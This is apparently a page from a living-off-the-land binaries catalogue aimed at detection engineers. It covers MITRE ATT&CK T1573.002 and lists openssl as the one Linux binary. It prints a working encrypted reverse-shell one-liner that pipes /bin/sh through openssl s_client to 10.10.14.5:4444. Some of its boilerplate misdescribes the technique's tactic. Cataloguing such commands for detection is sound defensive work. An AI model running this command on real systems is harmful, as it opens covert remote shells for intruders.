How many Living-off-the-Land Binaries abuse T1573.002?

LOLPulse tracks 1 verified living-off-the-land binaries across Windows, Linux, and macOS that adversaries can leverage to execute Technique T1573.002 (T1573.002).

How can detection engineers monitor for T1573.002?

Detection strategies involve correlating process command-line arguments, parent process lineage, and behavioral telemetry rules (KQL, Sigma, and Splunk) specifically authored for the binaries listed in this matrix.

T1573.002Tactic: Execution & Defense EvasionOfficial MITRE ATT&CK Page

T1573.002: Technique T1573.002

Adversaries may leverage living-off-the-land techniques (T1573.002) to achieve execution, evade defenses, or transfer tools.

Total Capable Binaries: 1

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Windows: 0

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Linux: 1

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macOS: 0

Living-off-the-Land Matrix for T1573.002

Across 1 verified binaries

Linux1 payloads

openssl

OpenSSL is a cryptography toolkit. Attackers leverage openssl s_client to establish encrypted TLS reverse shell sessions or exfiltrate sensitive files across monitored networks.

Sample Attack Vector:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.14.5:4444 > /tmp/s; rm /tmp/s

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Curated & Verified by

Sharon Ben Moshe

Cybersecurity Researcher & Detection Engineer • Check Point

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